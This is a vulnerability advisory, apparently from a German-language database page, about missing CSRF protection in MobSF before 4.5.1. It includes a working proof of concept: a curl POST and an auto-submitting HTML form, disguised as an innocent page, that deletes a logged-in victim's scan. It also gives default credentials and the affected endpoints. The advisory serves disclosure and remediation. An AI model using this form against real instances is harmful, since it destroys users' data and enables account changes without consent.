MobSF's CSRF checks not enforced after Django migration
Summary
Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.
Verified Impact
This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:
$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
-d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}
The scan was removed from the database. This attack works from any website via HTML form auto-submission because:
- No CSRF token is validated (middleware absent)
- Cookie
SameSite=Laxallows form-based top-level navigation to send the session cookie
Affected Component
File: mobsf/MobSF/settings.py (Lines 206-212)
MIDDLEWARE = (
'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
# MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)
Steps to Reproduce
1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).
2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".
3. Open the following HTML file in the same browser (simulates visiting attacker's page):
<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
<input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
<input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.
Why This Is Not a Self-Bug
- The attack requires a victim user who is logged in to visit an attacker-controlled page
- The attacker crafts the form targeting the victim's MobSF instance
- All destructive POST endpoints are affected:
/delete_scan/,/upload/,/download_scan/,/change_password/,/create_user/,/delete_user/ - This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)
Remediation
Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | mobsf | < 4.5.1 | 4.5.1 |
Verweise
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf
- https://github.com/MobSF/Mobile-Security-Framework-MobSF
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1
- https://pypi.org/project/mobsf
- https://github.com/advisories/GHSA-3p54-567p-2wpr
- https://nvd.nist.gov/vuln/detail/CVE-2026-68923
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N- Schwäche (CWE)
CWE-352- Plattform
- Python (PyPI)
- Paket
mobsf- Veröffentlicht
- 18.08.2026
- Aktualisiert
- 11.10.2026 14:19
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-3688 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-3p54-567p-2wpr - CC BY 4.0
Schwachstellenhistorie: mobsf
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 22
- Erste → letzte
- 10.2022 08.2026
- Ohne Fix
- 1
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 9
- Mittel 11
- Niedrig 2
Veröffentlichungen pro Jahr
- 2022: 1
- 2023: 1
- 2024: 6
- 2025: 8
- 2026: 6
-
MobSF's CSRF checks not enforced after Django migration dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.